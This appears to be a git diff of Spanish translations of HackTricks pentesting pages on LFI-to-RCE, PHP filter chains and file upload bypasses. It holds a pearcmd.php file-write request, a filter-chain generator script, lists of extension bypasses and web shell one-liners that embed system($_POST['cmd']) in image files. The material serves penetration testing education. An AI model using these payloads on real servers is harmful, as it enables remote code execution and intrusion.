{{#endref}} {{#endref}}
### Vía PHP_SESSION_UPLOAD_PROGRESS ### Via PHP_SESSION_UPLOAD_PROGRESS
Si encontraste una **Local File Inclusion** incluso si **don't have a session** y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **enable the session for you**. Podrías abusar de esto para obtener RCE: Si encuentras una **Local File Inclusion** incluso si **no tienes una session** y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la session por ti**. Podrías abusar de esto para obtener RCE:
{{#ref}} {{#ref}}
via-php_session_upload_progress.md via-php_session_upload_progress.md
{{#endref}} {{#endref}}
### Vía temp file uploads in Windows ### Via temp file uploads in Windows
Si encontraste una **Local File Inclusion** y el servidor está ejecutándose en **Windows** podrías obtener RCE: Si encuentras una **Local File Inclusion** y el servidor está corriendo en **Windows**, podrías obtener RCE:
{{#ref}} {{#ref}}
lfi2rce-via-temp-file-uploads.md lfi2rce-via-temp-file-uploads.md
{{#endref}} {{#endref}}
### Vía `pearcmd.php` + URL args ### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en las imágenes docker de php. Además, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como argumento. Véase también [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) y [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`: La siguiente request crea un archivo en `/tmp/hello.php` con el contenido `<?=phpinfo()?>`:
```bash ```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
``` ```
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
``` ```
### Mediante phpinfo() (file_uploads = on) ### Mediante phpinfo() (file_uploads = on)
Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on puedes obtener RCE: Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on, puedes obtener RCE:
{{#ref}} {{#ref}}
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
### Mediante compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ### Mediante compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Si encontraste una **Local File Inclusion** y puedes **exfiltrar la ruta** del archivo temporal PERO el **servidor** está **comprobando** si el **archivo a incluir tiene marcas PHP**, puedes intentar eludir esa comprobación con esta **Race Condition**: Si encontraste una **Local File Inclusion** y **puedes exfiltrar la ruta** del archivo temporal PERO el **server** está **comprobando** si el **archivo a incluir tiene marcas PHP**, puedes intentar **evadir esa comprobación** con esta **Race Condition**:
{{#ref}} {{#ref}}
@ -648,23 +648,23 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Mediante eternal waiting + bruteforce ### Mediante eternal waiting + bruteforce
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **cuelgue** la ejecución de PHP, podrías entonces **bruteforce nombres de archivo durante horas** para encontrar el archivo temporal: Si puedes abusar del LFI para **subir archivos temporales** y hacer que el server **cuelgue** la ejecución de PHP, entonces podrías **brute force** nombres de archivo durante horas para encontrar el archivo temporal:
{{#ref}} {{#ref}}
lfi2rce-via-eternal-waiting.md lfi2rce-via-eternal-waiting.md
{{#endref}} {{#endref}}
### Para provocar un Fatal Error ### A Fatal Error
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo 2 veces para provocar ese error). Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo 2 veces para provocar ese error).
**No sé cómo puede ser útil esto pero podría serlo.**\ **No sé cuán útil es esto, pero podría serlo.**\
_Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos son eliminados._ _Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos se eliminan._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Referencias ## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -673,6 +673,7 @@ _Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos so
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) - [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}} {{#file}}
EN-Local-File-Inclusion-1.pdf EN-Local-File-Inclusion-1.pdf

View File

@ -2,36 +2,37 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Intro
Este [**escrito**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros de php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo. ## Introducción
Básicamente, el objetivo del script es **generar una cadena Base64** al **principio** del archivo que será **finalmente decodificada** proporcionando la carga útil deseada que será **interpretada por `include`**. This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Lo que básicamente significa que puedes **generar código PHP arbitrario** para el include **sin necesidad de escribirlo** en un archivo.
Básicamente el objetivo del script es **generar una cadena Base64** al **comienzo** del archivo que será **decodificada finalmente**, proporcionando la payload deseada que será **interpretada por `include`**.
Las bases para hacer esto son: Las bases para hacer esto son:
- `convert.iconv.UTF8.CSISO2022KR` siempre antepondrá `\x1b$)C` a la cadena - `convert.iconv.UTF8.CSISO2022KR` siempre antepondrá `\x1b$)C` a la cadena
- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea base64 válido. Da algunos problemas si encuentra "=" inesperados, pero esos se pueden eliminar con el filtro `convert.iconv.UTF8.UTF7`. - `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea válido en base64. Da algunos problemas si encuentra un "=" inesperado, pero esos pueden ser eliminados con el filtro `convert.iconv.UTF8.UTF7`.
El bucle para generar contenido arbitrario es: El bucle para generar contenido arbitrario es:
1. anteponer `\x1b$)C` a nuestra cadena como se describió anteriormente 1. anteponer `\x1b$)C` a nuestra cadena como se describió arriba
2. aplicar una cadena de conversiones iconv que deje nuestra base64 inicial intacta y convierta la parte que acabamos de anteponer a alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64 2. aplicar una cadena de conversiones iconv que deje nuestro base64 inicial intacto y convierta la parte que acabamos de anteponer a una cadena donde el único carácter válido de base64 sea la siguiente parte de nuestro código PHP codificado en base64
3. decodificar en base64 y volver a codificar en base64 la cadena, lo que eliminará cualquier basura en medio 3. base64-decode y base64-encode la cadena, lo que eliminará cualquier basura intermedia
4. Volver al paso 1 si la base64 que queremos construir aún no está terminada 4. Volver al paso 1 si el base64 que queremos construir aún no está terminado
5. decodificar en base64 para obtener nuestro código php 5. base64-decode para obtener nuestro código PHP
> [!WARNING] > [!WARNING]
> **Includes** generalmente hacen cosas como **agregar ".php" al final** del archivo, lo que podría dificultar la explotación de esto porque tendrías que encontrar un archivo .php con un contenido que no mate la explotación... o **podrías simplemente usar `php://temp` como recurso** porque puede **tener cualquier cosa añadida en el nombre** (como +".php") y aún permitirá que la explotación funcione. > **Includes** usualmente hacen cosas como **añadir ".php" al final** del archivo, lo que podría dificultar la explotación porque necesitarías encontrar un archivo .php con un contenido que no rompa el exploit... o **puedes usar `php://temp` como recurso** porque puede **tener cualquier cosa añadida en el nombre** (p. ej. +".php") y aun así permitir que el exploit funcione!
## Cómo agregar también sufijos a los datos resultantes ## Cómo añadir sufijos a los datos resultantes
[**Este escrito explica**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) cómo aún puedes abusar de los filtros de PHP para agregar sufijos a la cadena resultante. Esto es genial en caso de que necesites que la salida tenga algún formato específico (como json o tal vez agregar algunos bytes mágicos de PNG) [**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) cómo aún puedes abusar de PHP filters para añadir sufijos a la cadena resultante. Esto es útil en caso de que necesites que la salida tenga un formato específico (como json o quizá añadir algunos bytes mágicos de PNG)
## Herramientas Automáticas ## Herramientas automáticas
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(puede agregar sufijos)** - [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Script completo ## Script completo
```python ```python
@ -95,7 +96,7 @@ print(r.text)
``` ```
### Mejoras ### Mejoras
El script anterior está limitado a los caracteres base64 necesarios para esa carga útil. Por lo tanto, creé mi propio script para **fuerza bruta de todos los caracteres base64**: El script anterior está limitado a los caracteres base64 necesarios para esa carga útil. Por lo tanto, creé mi propio script para **bruteforce todos los caracteres base64**:
```php ```php
conversions = { conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -250,9 +251,10 @@ find_vals($init);
} }
?> ?>
``` ```
## Más Referencias ## Más referencias
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
# Carga de Archivos # Carga de archivos
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Metodología General de Carga de Archivos ## Metodología general de carga de archivos
Otras extensiones útiles: Other useful extensions:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Trabajando en PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -15,13 +15,13 @@ Otras extensiones útiles:
- **Perl**: _.pl, .cgi_ - **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_ - **Erlang Yaws Web Server**: _.yaws_
### Bypass de comprobaciones de extensiones de archivos ### Bypass file extensions checks
1. Si aplica, **verifica** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._ 1. Si aplican, **comprueba** las **extensiones anteriores**. También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_ 2. _Comprueba **añadir una extensión válida antes** de la extensión de ejecución (usa las extensiones anteriores también):_
- _file.png.php_ - _file.png.php_
- _file.png.Php5_ - _file.png.Php5_
3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **fuerza bruta** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_) 3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para **bruteforcear** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
- _file.php%20_ - _file.php%20_
- _file.php%0a_ - _file.php%0a_
- _file.php%00_ - _file.php%00_
@ -31,7 +31,7 @@ Otras extensiones útiles:
- _file._ - _file._
- _file.php...._ - _file.php...._
- _file.pHp5...._ - _file.pHp5...._
4. Intenta eludir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una mejor carga._ 4. Intenta eludir las protecciones **engañando al parser de extensiones** del servidor con técnicas como **duplicar** la **extensión** o **añadir basura** (**null** bytes) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
- _file.png.php_ - _file.png.php_
- _file.png.pHp5_ - _file.png.pHp5_
- _file.php#.png_ - _file.php#.png_
@ -40,75 +40,75 @@ Otras extensiones útiles:
- _file.php%0a.png_ - _file.php%0a.png_
- _file.php%0d%0a.png_ - _file.php%0d%0a.png_
- _file.phpJunk123png_ - _file.phpJunk123png_
5. Agrega **otra capa de extensiones** a la verificación anterior: 5. Añade **otra capa de extensiones** a la comprobación previa:
- _file.png.jpg.php_ - _file.png.jpg.php_
- _file.php%00.png%00.jpg_ - _file.php%00.png%00.jpg_
6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión **_**.php**_**, pero **no necesariamente terminando en .php** ejecutará código): 6. Intenta poner la **extensión de ejecución antes** de la extensión válida y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con la extensión **.php**, aunque no termine necesariamente en .php, ejecutará código):
- _ej: file.php.png_ - _ex: file.php.png_
7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”) 7. Uso de **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p. ej. "file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como su short filename. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón también puede ser útil para eludir restricciones adicionales (p. ej. "file.asp::$data.”)
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php 8. Intenta romper los límites de nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
``` ```
# Linux máximo 255 bytes # Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236 # Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232' python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Haz la carga # Make the payload
AAA<--SNIP 232 A-->AAA.php.png AAA<--SNIP 232 A-->AAA.php.png
``` ```
### Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento ### Bypass Content-Type, Magic Number, Compression & Resizing
- Eludir las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_ - Bypass **Content-Type** checks configurando el **valor** del **header** **Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
1. Lista de palabras de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Eludir la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadatos**:\ - Bypass **magic number** check añadiendo al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` o también podrías **introducir la carga directamente** en una imagen:\ `\` o también podrías **introducir el payload directamente** en una imagen:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Si **se está agregando compresión a tu imagen**, por ejemplo, usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**. - Si **se está aplicando compresión** a tu imagen, por ejemplo usando algunas librerías estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, puedes usar el chunk PLTE [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones de PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**. - La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, puedes usar el chunk IDAT [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Otra técnica para hacer una carga que **sobreviva a un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**. - Otra técnica para crear un payload que **sobreviva a un redimensionado** de imagen, usando la función PHP-GD `thumbnailImage`. También puedes usar el chunk tEXt [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Otros trucos a verificar ### Otros trucos a comprobar
- Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión). - Encuentra una vulnerabilidad que permita **renombrar** el archivo ya subido (para cambiar la extensión).
- Encuentra una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar el backdoor. - Encuentra una vulnerabilidad de **Local File Inclusion** para ejecutar el backdoor.
- **Posible divulgación de información**: - **Posible divulgación de información**:
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre** 1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe** 2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
3. Subiendo un archivo con **“.”, “..”, o “…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”. 3. Subir un archivo con **"." , "..", o "..." como nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en "/www/uploads/" directory, el filename "." creará un archivo llamado "uploads" en el directorio "/www/".
4. Sube un archivo que puede no ser eliminado fácilmente como **…:.jpg”** en **NTFS**. (Windows) 4. Sube un archivo que no pueda ser borrado fácilmente como **"…:.jpg”** en **NTFS**. (Windows)
5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows) 5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
6. Sube un archivo en **Windows** usando **nombres reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9. 6. Sube un archivo en **Windows** usando nombres reservados (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea accidentalmente abierto por la víctima. - Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando sea abierto accidentalmente por la víctima.
### Trucos especiales de extensión ### Special extension tricks
Si estás intentando subir archivos a un **servidor PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ Si intentas subir archivos a un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si estás intentando subir archivos a un **servidor ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Si intentas subir archivos a un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden ser **usados como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...) Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden **ser usados como un archivo php** (ejecutándolos con php, o incluyéndolos dentro de un script...)
La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **que esta extensión se ejecute**. La extensión `.inc` a veces se usa para archivos php que solo sirven para **importar archivos**, por lo que, en algún punto, alguien podría haber permitido que **esta extensión se ejecute**.
## **Jetty RCE** ## **Jetty RCE**
Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell! Si puedes subir un archivo XML a un servidor Jetty puedes obtener RCE porque los nuevos \*.xml y \*.war son procesados automáticamente. So, as mentioned in the following image, sube el archivo XML a `$JETTY_BASE/webapps/` y espera el shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE** ## **uWSGI RCE**
